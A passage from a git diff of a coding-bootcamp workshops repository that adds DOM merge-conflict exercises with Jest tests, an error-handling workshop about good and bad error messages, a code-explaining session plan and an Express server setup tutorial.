                      + + `; + body.appendChild(main); + + const button = body.querySelector("#increment"); + const counter = body.querySelector("#counter"); + button.addEventListener("click", () => { + increment(counter); + }); + + return body; +} diff --git a/dom-merge-conflict/tasks/buttons-and-counter/test/app.test.js b/dom-merge-conflict/tasks/buttons-and-counter/test/app.test.js new file mode 100644 index 00000000..1139e456 --- /dev/null +++ b/dom-merge-conflict/tasks/buttons-and-counter/test/app.test.js @@ -0,0 +1,56 @@ +/** + * @jest-environment jsdom + */ + +import { getByTestId, getByRole } from "@testing-library/dom"; +import "@testing-library/jest-dom"; + +import { App } from "../src/app"; + +describe("button and counter", () => { + let container = App(); + + // Reset the App before each test + beforeEach(() => { + container = App(); + }); + + test("contains description paragraph with mention of 'increment' in header", () => { + expect( + container.querySelector("header").querySelector("p") + ).toHaveTextContent(/increment/i); + }); + + test("counter starts at 0", () => { + expect(getByTestId(container, "counter")).toHaveTextContent(/^0$/); + }); + + test("pressing Increment increases the counter", () => { + const button = getByRole(container, "button", { + name: "Increment", + }); + button.click(); + button.click(); + + expect(getByTestId(container, "counter")).toHaveTextContent(/^2$/); + }); + + describe.skip("decrement button", () => { + test("pressing Decrement decreases the counter", () => { + const button = getByRole(container, "button", { + name: "Decrement", + }); + button.click(); + button.click(); + button.click(); + + expect(getByTestId(container, "counter")).toHaveTextContent(/^-3$/); + }); + + test("contains description paragraph with mention of 'decrement' in header", () => { + expect( + container.querySelector("header").querySelector("p") + ).toHaveTextContent(/decrement/i); + }); + }); +}); diff --git a/dom-merge-conflict/tasks/conditional-rendering/instructions.md b/dom-merge-conflict/tasks/conditional-rendering/instructions.md new file mode 100644 index 00000000..273feb1c --- /dev/null +++ b/dom-merge-conflict/tasks/conditional-rendering/instructions.md @@ -0,0 +1,32 @@ +# Conditional Rendering + +This component is currently a profile preview showing a person's image and name. +The argument profile is an object of form: + +``` +{ + pictureSrc : String, + name : String, + bio : String +} +``` + +## Task for Person 1 + +Create and switch to a new branch named `preview-not-available`: + +``` +git switch -c preview-not-available +``` + +Unskip the tests describing the available option. Update the component so that it takes an optional options argument which is an object that contains the available property. Check the tests to see how the `options` object is passed to the `ProfilePreview` component. When this property is false, the preview should not render any information other than a text saying "Profile preview unavailable". When this property is true, continue to render the profile as before. By default, available should be true. + +## Task for Person 2 + +Create and switch to a new branch named `preview-short-form`: + +``` +git switch -c preview-short-form +``` + +Unskip the tests describing the short form option. Update the component so that it takes an optional options argument which is an object that contains the shortForm property. Check the tests to see how the `options` object is passed to the `ProfilePreview` component. When this property is false, continue to render all the profile information. When this property is true, render all the profile information other than the bio. By default shortForm should be false. diff --git a/dom-merge-conflict/tasks/conditional-rendering/src/profilePreview.js b/dom-merge-conflict/tasks/conditional-rendering/src/profilePreview.js new file mode 100644 index 00000000..b1778b46 --- /dev/null +++ b/dom-merge-conflict/tasks/conditional-rendering/src/profilePreview.js @@ -0,0 +1,22 @@ +export function ProfilePreview(profile) { + const preview = document.createElement("aside"); + + const picture = document.createElement("img"); + picture.src = profile.pictureSrc; + picture.alt = ""; + picture.dataset.testid = "profilePicture"; + + const name = document.createElement("p"); + name.textContent = profile.name; + name.dataset.testid = "profileName"; + + const bio = document.createElement("p"); + bio.textContent = profile.bio; + bio.dataset.testid = "profileBio"; + + preview.appendChild(picture); + preview.appendChild(name); + preview.appendChild(bio); + + return preview; +} diff --git a/dom-merge-conflict/tasks/conditional-rendering/test/profilePreview.test.js b/dom-merge-conflict/tasks/conditional-rendering/test/profilePreview.test.js new file mode 100644 index 00000000..8e50cecf --- /dev/null +++ b/dom-merge-conflict/tasks/conditional-rendering/test/profilePreview.test.js @@ -0,0 +1,95 @@ +/** + * @jest-environment jsdom + */ + +import { getByTestId } from "@testing-library/dom"; +import "@testing-library/jest-dom"; + +import { ProfilePreview } from "../src/profilePreview"; + +describe("profile preview", () => { + describe("default options", () => { + test("contains profile info", () => { + const profile = { + pictureSrc: "/test", + name: "John Doe", + bio: "Lorem ipsum dolor sit amet.", + }; + //Freeze the object so that we can reference the properties in test and assume they are the same as above. + Object.freeze(profile); + + const container = ProfilePreview(profile); + + const image = getByTestId(container, "profilePicture"); + const name = getByTestId(container, "profileName"); + const bio = getByTestId(container, "profileBio"); + + expect(image.src).toContain(profile.pictureSrc); + expect(name).toHaveTextContent(profile.name); + expect(bio).toHaveTextContent(profile.bio); + expect(container.childElementCount).toBe(3); + }); + }); + + describe.skip("available option", () => { + test("only notice that preview is unavailable is displayed with shortform on, available off", () => { + const profile = { + pictureSrc: "/null", + name: "N/A", + bio: "N/A", + }; + Object.freeze(profile); + + const container = ProfilePreview(profile, { + available: false, + shortForm: true, + }); + + expect(container.childElementCount).toBe(1); + expect(container.children[0]).toHaveTextContent( + "Profile preview unavailable" + ); + }); + + test("only notice that preview is unavailable is displayed with shortform off, available off", () => { + const profile = { + pictureSrc: "/null", + name: "N/A", + bio: "N/A", + }; + Object.freeze(profile); + + const container = ProfilePreview(profile, { + available: false, + shortForm: false, + }); + + expect(container.childElementCount).toBe(1); + expect(container.children[0]).toHaveTextContent( + "Profile preview unavailable" + ); + }); + }); + + describe.skip("short form option", () => { + test("contains profile info except the bio with shortform on", () => { + const profile = { + pictureSrc: "/picture", + name: "Jane Doe", + bio: "Duis porta neque sed eros.", + }; + Object.freeze(profile); + + const container = ProfilePreview(profile, { + shortForm: true, + }); + + const image = getByTestId(container, "profilePicture"); + const name = getByTestId(container, "profileName"); + + expect(image.src).toContain(profile.pictureSrc); + expect(name).toHaveTextContent(profile.name); + expect(container.childElementCount).toBe(2); + }); + }); +}); diff --git a/dom-merge-conflict/tasks/optimistic-rendering/instructions.md b/dom-merge-conflict/tasks/optimistic-rendering/instructions.md new file mode 100644 index 00000000..747c940e --- /dev/null +++ b/dom-merge-conflict/tasks/optimistic-rendering/instructions.md @@ -0,0 +1,23 @@ +# Optimistic rendering + +This component is currently a like button, that updates once the promise from updateVote() is resolved and gives an error when it is rejected. + +## Task for Person 1 + +Create and switch to a new branch named `render-like-optimistically`: + +``` +git switch -c render-like-optimistically +``` + +Render the like optimistically, that is change the component to a liked state before the promise is resolved. If the promise rejects, then render the component back to its old state. Unskip the tests that describe optimistic rendering to test your implementation. + +## Task for Person 2 + +Create and switch to a new branch named `change-button-appearance`: + +``` +git switch -c change-button-appearance +``` + +Change the button content to an image that has a source of "/media/like". When liked, the component should render the image that has a source of "/media/liked" Be sure to add appropriate alt text. Unskip the tests that describe the like as a image to test your implementation. diff --git a/dom-merge-conflict/tasks/optimistic-rendering/src/voter.js b/dom-merge-conflict/tasks/optimistic-rendering/src/voter.js new file mode 100644 index 00000000..01869891 --- /dev/null +++ b/dom-merge-conflict/tasks/optimistic-rendering/src/voter.js @@ -0,0 +1,30 @@ +export function Voter(updateVote) { + const container = document.createElement("div"); + + const button = document.createElement("button"); + button.textContent = "Like"; + + const errorMessage = document.createElement("p"); + + container.appendChild(button); + + button.addEventListener("click", () => { + errorMessage.remove(); + + updateVote() + .then(() => { + const message = document.createElement("p"); + message.textContent = "Liked"; + + container.appendChild(message); + button.remove(); + }) + .catch(() => { + errorMessage.textContent = + "We could not process your vote, please try again later."; + container.appendChild(errorMessage); + }); + }); + + return container; +} diff --git a/dom-merge-conflict/tasks/optimistic-rendering/test/voter.test.js b/dom-merge-conflict/tasks/optimistic-rendering/test/voter.test.js new file mode 100644 index 00000000..5e310fdc --- /dev/null +++ b/dom-merge-conflict/tasks/optimistic-rendering/test/voter.test.js @@ -0,0 +1,195 @@ +/** + * @jest-environment jsdom + */ + +import { + queryByAltText, + getByRole, + queryByRole, + queryByText, + queryAllByText, +} from "@testing-library/dom"; +import "@testing-library/jest-dom"; + +import { Voter } from "../src/voter"; + +describe("like button", () => { + describe("intial state", () => { + const pending = new Promise(() => {}); + + const container = Voter(() => pending); + + test("starts with like button", () => { + const button = queryByRole(container, "button", { + name: /like/i, + }); + + expect(button).not.toBeNull(); + }); + + test("starts with 1 child", () => { + expect(container.childElementCount).toBe(1); + }); + }); + + describe("resolved state", () => { + let resolve = null; + let container = null; + + beforeEach(() => { + resolve = Promise.resolve(); + container = Voter(() => resolve); + + const button = getByRole(container, "button"); + button.click(); + }); + + test("ends with 1 child", () => { + expect.assertions(1); + + return resolve.then(() => { + expect(container.childElementCount).toBe(1); + }); + }); + + test("ends with no button", async () => { + expect.assertions(1); + + return resolve.then(() => { + expect(queryByRole(container, "button")).toBeNull(); + }); + }); + }); + + describe("rejected state", () => { + let reject = null; + let container = null; + + beforeEach(() => { + reject = Promise.reject(); + container = Voter(() => reject); + + const button = queryByRole(container, "button"); + button.click(); + }); + + test("displays error message", () => { + expect.assertions(1); + + return reject.catch(() => { + const errorMessage = queryByText( + container, + /we could not process your vote/i + ); + + expect(errorMessage).not.toBeNull(); + }); + }); + + test("has two children after fail", () => { + expect.assertions(1); + + return reject.catch(() => { + expect(container.childElementCount).toBe(2); + }); + }); + + test("has button after fail", () => { + expect.assertions(1); + + return reject.catch(() => { + const button = queryByRole(container, "button"); + + expect(button).not.toBeNull(); + }); + }); + + test("pressing button after fail instantly removes error message", () => { + expect.assertions(2); + + return reject.catch(() => { + const button = queryByRole(container, "button"); + + button.click(); + + const errorMessage = queryByText( + container, + /we could not process your vote/i + ); + + expect(errorMessage).toBeNull(); + expect(container.childElementCount).toBe(1); + }); + }); + }); + + describe.skip("optimistic rendering", () => { + let pending = null; + let container = null; + + beforeEach(() => { + pending = new Promise(() => {}); + container = Voter(() => pending); + + const button = queryByRole(container, "button"); + button.click(); + }); + + test("there is 1 child immediately after click", () => { + expect(container.childElementCount).toBe(1); + }); + + test("there is no button immediately after click", () => { + const button = queryByRole(container, "button"); + + expect(button).toBeNull(); + }); + }); + + describe.skip("button as an image", () => { + let resolve = null; + let container = null; + + beforeEach(() => { + resolve = Promise.resolve(); + container = Voter(() => resolve); + }); + + test("component contains no text content", () => { + const button = queryByRole(container, "button"); + button.click(); + + const text = queryAllByText(container, /(\s|\S)/i); + + expect(text).toHaveLength(0); + }); + + test("contains no empty paragraphs components", () => { + const button = queryByRole(container, "button"); + button.click(); + + const paragraphs = container.querySelectorAll("p"); + + expect(paragraphs).toHaveLength(0); + }); + + test("button icon uses /media/like as src", () => { + const icon = queryByAltText(container, /like/i); + + expect(icon.src).toMatch(/media\/like$/i); + }); + + test("once resolved icon uses /media/liked as src", () => { + expect.assertions(1); + + const button = queryByRole(container, "button"); + button.click(); + + return resolve.then(() => { + const icon = queryByAltText(container, /liked/i); + + expect(icon.src).toMatch(/media\/liked$/i); + }); + }); + }); +}); diff --git a/dom-merge-conflict/tasks/processing-page/instructions.md b/dom-merge-conflict/tasks/processing-page/instructions.md new file mode 100644 index 00000000..28e08bf1 --- /dev/null +++ b/dom-merge-conflict/tasks/processing-page/instructions.md @@ -0,0 +1,36 @@ +# Processing Page + +This component currently features a processing page which changes after the completion of some promises. +Below you can see how the functions that return promises depend on each other. "→" means that the result of the previous promise is passed into the next function: + +``` +verifyServersideKey → verifyLocalKey +``` + +``` +verifyBrowser → verifyVersion +``` + +``` +verifyStableConnection +``` + +## Task for Person 1 + +Create and switch to a new branch named `add-progress-bar`: + +``` +git switch -c add-progress-bar +``` + +Unskip the tests describing the progress bar. Then implement a progress bar underneath the current message that increments its value for each promise resolved. + +## Task for Person 2 + +Create and switch to a new branch named `change-promise-logic`: + +``` +git switch -c change-promise-logic +``` + +Unskip the tests describing promises running concurrently. Update the component so that the operations that are independent of each other run concurrently. diff --git a/dom-merge-conflict/tasks/processing-page/src/processingPage.js b/dom-merge-conflict/tasks/processing-page/src/processingPage.js new file mode 100644 index 00000000..3ce8e760 --- /dev/null +++ b/dom-merge-conflict/tasks/processing-page/src/processingPage.js @@ -0,0 +1,29 @@ +export function ProcessingPage({ + verifyServersideKey, + verifyLocalKey, + verifyBrowser, + verifyVersion, + verifyStableConnection, +}) { + const container = document.createElement("div"); + + const info = document.createElement("p"); + info.textContent = + "Please wait while we verify your details, browser, and internet connection."; + info.dataset.testid = "info"; + container.appendChild(info); + + verifyServersideKey() + .then((res) => verifyLocalKey(res)) + .then(() => verifyBrowser()) + .then((res) => verifyVersion(res)) + .then(() => verifyStableConnection()) + .then(() => { + info.textContent = "Verification successful."; + }) + .catch(() => { + info.textContent = "Verification failed."; + }); + + return container; +} diff --git a/dom-merge-conflict/tasks/processing-page/test/processingPage.test.js b/dom-merge-conflict/tasks/processing-page/test/processingPage.test.js new file mode 100644 index 00000000..ac090d1d --- /dev/null +++ b/dom-merge-conflict/tasks/processing-page/test/processingPage.test.js @@ -0,0 +1,235 @@ +/** + * @jest-environment jsdom + */ + +import "@testing-library/jest-dom"; + +import { ProcessingPage } from "../src/processingPage"; +import { getByRole, getByTestId } from "@testing-library/dom"; + +//waitForPromises is used to wait for next event loop in node.js which allows for all promises to be handled in the component being tested. +function waitForPromises() { + return new Promise(process.nextTick); +} + +describe("processing page", () => { + // The MockHelper will be an object that contain {promise, callback, resolve, reject}. callback is required by LoadingPage + let verifyServersideKeyMockHelper = null; + let verifyLocalKeyMockHelper = null; + let verifyBrowserMockHelper = null; + let verifyVersionMockHelper = null; + let verifyStableConnectionMockHelper = null; + let container = null; + + function generateMockHelper() { + let resolve, reject; + const promise = new Promise((res, rej) => { + resolve = res; + reject = rej; + }); + const callback = () => promise; + return { resolve, reject, promise, callback }; + } + + beforeEach(() => { + verifyServersideKeyMockHelper = generateMockHelper(); + verifyLocalKeyMockHelper = generateMockHelper(); + verifyBrowserMockHelper = generateMockHelper(); + verifyVersionMockHelper = generateMockHelper(); + verifyStableConnectionMockHelper = generateMockHelper(); + + container = ProcessingPage({ + verifyServersideKey: verifyServersideKeyMockHelper.callback, + verifyLocalKey: verifyLocalKeyMockHelper.callback, + verifyBrowser: verifyBrowserMockHelper.callback, + verifyVersion: verifyVersionMockHelper.callback, + verifyStableConnection: verifyStableConnectionMockHelper.callback, + }); + }); + + describe("default", () => { + test("the info text initially displays a message to wait", () => { + expect(getByTestId(container, "info")).toHaveTextContent(/^please wait/i); + }); + + test("the info text does not change if the verifyLocalKey promise resolves by itself", () => { + expect.assertions(1); + + verifyLocalKeyMockHelper.resolve(); + + return waitForPromises().then(() => { + expect(getByTestId(container, "info")).toHaveTextContent( + /^please wait/i + ); + }); + }); + + test("the info text does not change if the verifyLocalKey promise rejects by itself", () => { + expect.assertions(1); + + verifyLocalKeyMockHelper.reject(); + + return waitForPromises() + .then(() => verifyLocalKeyMockHelper.promise) + .catch(() => { + expect(getByTestId(container, "info")).toHaveTextContent( + /^please wait/i + ); + }); + }); + + test("the info text does not change if the verifyVersion promise resolves by itself", () => { + expect.assertions(1); + + verifyVersionMockHelper.resolve(); + + return waitForPromises().then(() => { + expect(getByTestId(container, "info")).toHaveTextContent( + /^please wait/i + ); + }); + }); + + test("the info text does not change if the verifyVersion promise rejects by itself", () => { + expect.assertions(1); + + verifyVersionMockHelper.reject(); + + return waitForPromises() + .then(() => verifyVersionMockHelper.promise) + .catch(() => { + expect(getByTestId(container, "info")).toHaveTextContent( + /^please wait/i + ); + }); + }); + + test("the info text indicates success in verification when all promises are resolved", () => { + expect.assertions(1); + + verifyServersideKeyMockHelper.resolve(); + verifyLocalKeyMockHelper.resolve(); + verifyBrowserMockHelper.resolve(); + verifyVersionMockHelper.resolve(); + verifyStableConnectionMockHelper.resolve(); + + return waitForPromises().then(() => { + expect(getByTestId(container, "info")).toHaveTextContent( + /^verification successful/i + ); + }); + }); + }); + + describe.skip("progress bar", () => { + test("progress bar is initially at 0 and has a max of 5", () => { + const progressbar = getByRole(container, "progressbar"); + + expect(progressbar.value).toBe(0); + expect(progressbar.max).toBe(5); + }); + + test("progress bar increments for each completed task", () => { + expect.assertions(1); + + verifyServersideKeyMockHelper.resolve(); + verifyLocalKeyMockHelper.resolve(); + verifyBrowserMockHelper.resolve(); + verifyVersionMockHelper.resolve(); + + return waitForPromises().then(() => { + const progressbar = getByRole(container, "progressbar"); + + expect(progressbar.value).toBe(4); + }); + }); + + test("progress bar does not increment when promises that are dependent on other promises resolve", () => { + expect.assertions(1); + + verifyServersideKeyMockHelper.resolve(); + verifyLocalKeyMockHelper.resolve(); + verifyVersionMockHelper.resolve(); + + return waitForPromises().then(() => { + const progressbar = getByRole(container, "progressbar"); + + expect(progressbar.value).toBe(2); + }); + }); + }); + + describe.skip("run independent promises concurrently", () => { + test("info text indicates failure when verifyStableConnection rejects", () => { + expect.assertions(1); + + verifyStableConnectionMockHelper.reject(); + + return waitForPromises() + .then(() => verifyStableConnectionMockHelper.promise) + .catch(() => { + expect(getByTestId(container, "info")).toHaveTextContent( + /^verification failed/i + ); + }); + }); + + test("info text indicates failure when verifyServersideKey rejects", () => { + expect.assertions(1); + + verifyServersideKeyMockHelper.reject(); + + return waitForPromises() + .then(() => verifyServersideKeyMockHelper.promise) + .catch(() => { + expect(getByTestId(container, "info")).toHaveTextContent( + /^verification failed/i + ); + }); + }); + + test("info text indicates failure when verifyBrowser rejects", () => { + expect.assertions(1); + + verifyBrowserMockHelper.reject(); + + return waitForPromises() + .then(() => verifyBrowserMockHelper.promise) + .catch(() => { + expect(getByTestId(container, "info")).toHaveTextContent( + /^verification failed/i + ); + }); + }); + + test("info text indicates failure when verifyLocalKey rejects after verifyServerSideKey resolves", () => { + expect.assertions(1); + + verifyServersideKeyMockHelper.resolve(); + verifyLocalKeyMockHelper.reject(); + + return waitForPromises() + .then(() => verifyLocalKeyMockHelper.promise) + .catch(() => { + expect(getByTestId(container, "info")).toHaveTextContent( + /^verification failed/i + ); + }); + }); + + test("info text indicates faiulre when verifyVersion reject after verifyBrowser resolves", () => { + expect.assertions(1); + + verifyBrowserMockHelper.resolve(); + verifyVersionMockHelper.reject(); + + return waitForPromises() + .then(() => verifyVersionMockHelper.promise) + .catch(() => { + expect(getByTestId(container, "info")).toHaveTextContent( + /^verification failed/i + ); + }); + }); + }); +}); diff --git a/error-handling/readme.md b/error-handling/readme.md new file mode 100644 index 00000000..02094767 --- /dev/null +++ b/error-handling/readme.md @@ -0,0 +1,69 @@ +# Error Handling + +## Learning Objectives + +```objectives +- [ ] Give examples of good and bad error messages +- [ ] Explain what makes an error message helpful +``` + +## Understanding What Went Wrong + +We have already seen examples of developer questions which can help us fix problems in our code: + +1. What I _did_ +2. What I _expected_ +3. What actually _happened_ + +The problem is that figuring out what happened can be really tricky if the developer writing the code doesn't do a good job of **error handling**. In this workshop we're going to discuss error messages, why they are important and what makes some more helpful than others. + +What makes an error message "good" depends on who it is intended for. For example, the runtime errors you may have seen while working through the exercises are great for developers while they're working on the code but they aren't very useful for the end user looking at an app on their phone. Knowing the most appropriate way to communicate problems is a key skill for a developer. + +### Setup + +- **Trainees**: Go to the `error-handling` folder in the [Workshops repo](https://github.com/CodeYourFuture/CYF-Workshops/), navigate to the `webpage` folder and open `index.html` in a browser. +- **Trainees**: Work in groups of 2 or 3. +- **Trainees**: Nominate a member of the group to take notes. +- **Volunteers**: Nominate someone to facilitate the group discussion. This could be a volunteer or a trainee. + + + +Open your web browser and take a look at the web page you just opened. You should see a text box with five buttons below it. When you type a message and press any of the buttons it should appear below the box. Try it out by typing "hello world" and see what happens. + +The problem we have is that none of the buttons seem to be working! They all have the same problem but they aren't all telling us the same thing. We could probably open `script.js` and easily figure out where the problem is, but this won't be an option for the end users of our code. + +In your groups, **without looking at the code**, answer the following questions for each button: + +1. Can you find where the error message is being displayed? (Hint: there may not always be an error message) +2. Can you figure out what the problem is based on what the message is telling you? +3. Does the message tell you how to fix the problem? +4. Is the message more useful for a developer or a user? + + + + + +Come back together to compare notes. As a group try to answer these questions: + +1. Which buttons gave useful error messages? Which buttons weren't helpful? +2. Which button gave the clearest error message? +3. Which features of the messages were particularly useful for **developers** and which features were useful for **users**? +4. How could the messages be further improved for users? + + + +## Supporting the User + +We have seen that communicating what went wrong is really important when building an application. Giving feedback to the user is useful, but how we give that feedback is important. We could improve the user experience even more by helping them avoid the problem altogether! + + + +Read [this article](https://piccalil.li/blog/how-to-write-error-messages-that-actually-help-users-rather-than-frustrate-them/) on writing helpful error messages. Think about the error messages we have seen so far - do they align with the suggestions made here? + +It would be even better if we never needed to show our users any error messages, but that won't happen if we aren't clear about what we need them to do. Take another look at the application from the first part of this workshop and answer these questions: + +1. What information is missing that might help the user? +2. How can we let the user know what the requirements are before they start typing? + + + diff --git a/error-handling/webpage/index.html b/error-handling/webpage/index.html new file mode 100644 index 00000000..4b1f3f94 --- /dev/null +++ b/error-handling/webpage/index.html @@ -0,0 +1,27 @@ + + + + + + + Broken Buttons + + +
                      +

                      Broken Buttons

                      +
                      +
                      +

                      Enter some text in the box below then click one of the buttons.

                      +

                      If everything works your message will be added below the box.

                      + +
                      + + + + + +
                      +

                      You typed:

                      +
                      + + \ No newline at end of file diff --git a/error-handling/webpage/script.js b/error-handling/webpage/script.js new file mode 100644 index 00000000..c9bff740 --- /dev/null +++ b/error-handling/webpage/script.js @@ -0,0 +1,58 @@ +const textarea = document.querySelector("#submission"); +const silentFailButton = document.querySelector("#silent-fail-button"); +const consoleButton = document.querySelector("#console-button"); +const poorAlertButton = document.querySelector("#poor-alert-button"); +const devAlertButton = document.querySelector("#dev-alert-button"); +const betterAlertButton = document.querySelector("#better-alert-button"); +const outputArea = document.querySelector("#output"); + +const validateMessage = (message) => { + return message.length >= 250; +} + +const appendMessage = (message) => { + outputArea.textContent = message; +} + +silentFailButton.addEventListener("click", () => { + const message = textarea.value; + if (validateMessage(message)) { + appendMessage(message) + } +}) + +consoleButton.addEventListener("click", () => { + const message = textarea.value; + if (validateMessage(message)) { + appendMessage(message) + } else { + console.error("Invalid message - check failed at script.js:10") + } +}) + +poorAlertButton.addEventListener("click", () => { + const message = textarea.value; + if (validateMessage(message)) { + appendMessage(message) + } else { + alert("Something went wrong") + } +}) + +devAlertButton.addEventListener("click", () => { + const message = textarea.value; + if (validateMessage(message)) { + appendMessage(message) + } else { + alert("Failed with error code 03986") + } +}) + +betterAlertButton.addEventListener("click", () => { + const message = textarea.value; + if (validateMessage(message)) { + appendMessage(message) + } else { + alert(`Message must be at least 250 characters long - yours was ${message.length}. Please try again`) + } +}) \ No newline at end of file diff --git a/explaining-code/README.md b/explaining-code/README.md new file mode 100644 index 00000000..e045a112 --- /dev/null +++ b/explaining-code/README.md @@ -0,0 +1,61 @@ +# Explaining code + +## Learning objectives + +```objectives +- [ ] Make a strategy for how to explain code. +- [ ] Explain the big picture (what not how) of a software system. +- [ ] Explain how functions and lines of code in a software system work. +``` + +We often need to explain our code to others. Some examples of when we need to do this: +1. When someone else is going to start working on it with us. +2. When trying to get help with our code from someone else. +3. In a job interview. + +Pick a project you've been working on recently to explain. The project doesn't need to be complete, but it should be at least 100 lines of code and should take more than a couple of sentences to explain. + +## The big picture (15 minutes) + +Start by introducing the big picture of the code: +- What is the project? +- What problem does it solve? +- How does the program generally work? + +Do this before digging into specifics (e.g. what a function does, what some lines do). + +5 minutes: On your own, think about how you will explain the big picture of a project. What is useful for someone to know? In what _order_ is it useful to introduce those ideas? Once you have an idea, try thinking through how you would explain the project you've chosen. + +Volunteers: Facilitate this discussion: + +10 minutes: Discuss as a whole class your ideas for how to introduce the big picture of a project. At the end of this discussion, you should have a template of a script with the different topics you would explain. + +## Explaining specific code (15 minutes) + +5 minutes: On your own, think: how would you like a new codebase to be explained to you? Some things to consider: +* Where would you want the explainer to start? +* Would you want to go depth first (keep following all of the function calls before you move into the next line) or breadth first (read each line of a function, before looking at the functions it calls)? +* What kind of example data may be useful to consider? +* Is it more interesting to focus on normal cases or unusual cases (e.g. errors)? + +Volunteers: Facilitate this discussion: + +10 minutes: Discuss as a whole class your ideas for how to walk through specific code. At the end of this discussion, you should have a template of a script with the different topics you would explain. + +## Walk through (50 minutes) + +Split into pairs (and a group of three if needed). + +Imagine you are in a job interview, explaining your project to an interviewer. The interviewer doesn't know anything about your project. + +Take turns to explain your chosen project codebase to your partner. Use the frameworks you established earlier in the workshop. At the end of your explanation, your partner should be able to talk about and explain the code you showed them. Feel free to ask/answer questions on the way. + +Make sure that each partner has an equal time to explain their codebase. + +Volunteers: Observe different groups explaining code. Feel free to ask questions or give feedback as you do. + +## Wrap up (10 minutes) + +As a whole class, discuss your experience. What techniques did people use that helped make things clear? When were you confused? What could people have done differently? + +How will you explain things differently next time? diff --git a/express-setup/readme.md b/express-setup/readme.md new file mode 100644 index 00000000..63f71ae0 --- /dev/null +++ b/express-setup/readme.md @@ -0,0 +1,588 @@ +# Express Workshop + +> This workshop is based on the [Node Girls Express Workshop](https://github.com/node-girls/express-workshop) + +Fork the [express-workshop repository](https://github.com/CodeYourFuture/express-workshop) + +```sh +git clone https://github.com/YOUR-USERNAME/express-workshop +``` + +```sh +git clone https://github.com/YOUR-USERNAME/express-workshop +``` + +## Learning Objectives + +```objectives +- [ ] Initialise a project with npm +- [ ] Install Express as a dependency +- [ ] Build a server using Express +``` + +## Requirements + +# Step 1 - Setting up your project + +When creating a Node.js project, you will usually install many different packages along the way. To share your project with others, you need to list those packages, so others can install the same set of packages. + +In Node.js, this 'list' file is called a `package.json`. The 'things you've installed' are called **dependencies**. Your dependencies come in little packages, each one labelled and numbered by your Node Package Manager, `npm`. They are the software your software _depends upon_ to work. + +Creating this file is the first step in setting up your project. + +## 1. Make a `package.json` file + +Let's start by creating the `package.json` file. We can add things to it as the project grows. The `package.json` file is easy to create from the command line. + +Type the following command into your terminal: + +```sh +npm init +``` + +This command will initialise a step-by-step process for creating the +`package.json`. You should see something like this: + +```zsh +-> % npm init +This utility will walk you through creating a package.json file. +It only covers the most common items, and tries to guess sensible defaults. + +See `npm help init` for definitive documentation on these fields +and exactly what they do. + +Use `npm install ` afterwards to install a package and +save it as a dependency in the package.json file. + +Press ^C at any time to quit. +package name: (express-setup) +``` + +It will ask you a bunch of questions. + +> You can skip most of the questions but change the `entry point` from +> `(index.js)` to `server.js`. + +> The wizard asks you for the following information: `name`, `version`, +> `description`, `main`, `test`, `repository`, `keywords`, `author`, `license` - +> do you understand all of them? + +At the end of the wizard, you should see a new file called `package.json` in your project's folder. + +Here is an example `package.json` file for a project called +[Passport](https://github.com/jaredhanson/passport/blob/master/package.json). + +# What is JSON? + +JSON is a type of file for structuring data in a readable way. It is also a really popular format for sending data across the web. JSON is a string representation of a Javascript object. JSON objects convert really easily to Javascript objects, and vice versa, with `JSON.parse()` and `JSON.stringify()`. + +```json +{ + "firstName": "John", + "lastName": "Smith", + "isAlive": true, + "age": 25, + "address": { + "streetAddress": "21 2nd Street", + "city": "New York", + "state": "NY", + "postalCode": "10021-3100" + }, + "phoneNumbers": [ + { + "type": "home", + "number": "212 555-1234" + }, + { + "type": "office", + "number": "646 555-4567" + }, + { + "type": "mobile", + "number": "123 456-7890" + } + ], + "children": [], + "spouse": null +} +``` + +# Step 2 - Installing Express + +Today we are going to install Express. Node and Express are not the same thing. Express is not a mandatory step of setting up a Node project or a package.json. It's just a piece of software we will use a lot. + +Before we write any code, you'll need to install the Express library. We're going to use the **[Node Package Manager (npm)](https://www.npmjs.com/)** to download it using the **`npm install`** command. + +NPM is the place to go to download other Node code written by other people. There are thousands of open-source, 3rd-party Node modules (also known as "packages") by other people that you can download and use in your own projects. + +As we install Express, we'll need to update the `package.json` to add Express as a dependency. We do this so that other people working on the project will know to install Express before running any of the code. Do this by adding +**`--save`** to the end of your command. + +Run the following command in your terminal: + +```sh +npm install express --save +``` + +Express should now be installed. Check your `package.json` file to make sure it has been added as a dependency. It will look like this: + +![package.json screenshot](https://cloud.githubusercontent.com/assets/10683087/16382664/be35f0b4-3c79-11e6-82b6-ae9e4a037c3f.png) + +# Step 3 - Building the server + +The first step is to build our server. You will always need to build a server when writing back-end code. A server can be built with in-built Node.js libraries, but Express gives us simpler syntax to work with. + +## 1. Create a `server.js` file + +Let's build our server! Before we do anything, let's create a new file called `server.js`. This is where all our server code is going to live. + +## 2. `require` the `express` library + +We already installed Express in Step 2, but we need to make sure it is included in this file specifically so we can make use of its methods. In Node.js, when you want to access the functionality of a library or module in another file, you `require` it. This is like `import`, which you have already used many times. `require` is an older syntax; Express is old software. + +To import Express, write the following inside `server.js`: + +```js +const express = require("express"); +``` + +## 3. Initialise the server + +To initialise our server, we need to call the `express()` function. This will create an Express application for us to work with. + +Add the second line of code to your `server.js` file: + +```js +const express = require("express"); +const app = express(); +``` + +## 4. Start 'listening' for potential requests + +One more step left, we need to set a **port** for our server to listen to. Think of a port as a door number; any requests that come to the server will come via that door. Setting a port will allow us to find where our server is running. + +We use the **`app.listen`** method to do this. This method takes two arguments: a **port** and a **callback function** telling it what to do once the server is running. Need clarification? Read more about the `app.listen` method in the [Express documentation](https://expressjs.com/en/4x/api.html#app.listen). + +We're going to run our server on port `3000`, and run a `console.log` as our callback function. Update your `server.js` file, calling the `app.listen` method: + +```js +const express = require("express"); +const app = express(); + +app.listen(3000, () => { + console.log("Server is listening on port 3000. Ready to accept requests!"); +}); +``` + +## 5. Switch the server on! + +You've built your server, but it isn't running yet. We need to run a command in the terminal to do this. We are going to use the `node` keyword to run the server file. + +Type the following command in your terminal: + +```sh +node server.js +``` + +If you see this, congratulations! You have built a server! + +![success](https://raw.githubusercontent.com/node-girls/workshop-cms/master/readme-images/step2-server02.png) + +# Step 4 - Communicating with the server + +Now that we've built the server, we need to communicate with it. We're going to control the server with **handler functions**. + +### What is a handler function? + +When a request reaches the server, we need a way of responding to it. In comes the handler function. The handler function is just a function which receives requests and handles them, hence the name. + +The handler function always takes a `request` and `response` object, and sends the response back to the client along with some information. You can decide what to send back in your response. + +### What does a handler function look like in Express? + +The `get()` [method](https://expressjs.com/en/api.html#app.get.method) is used to define a handler function in Express. It takes two parameters: the **endpoint** at which to trigger an action (we'll explain more about this in the next step), and the handler function that tells it exactly what 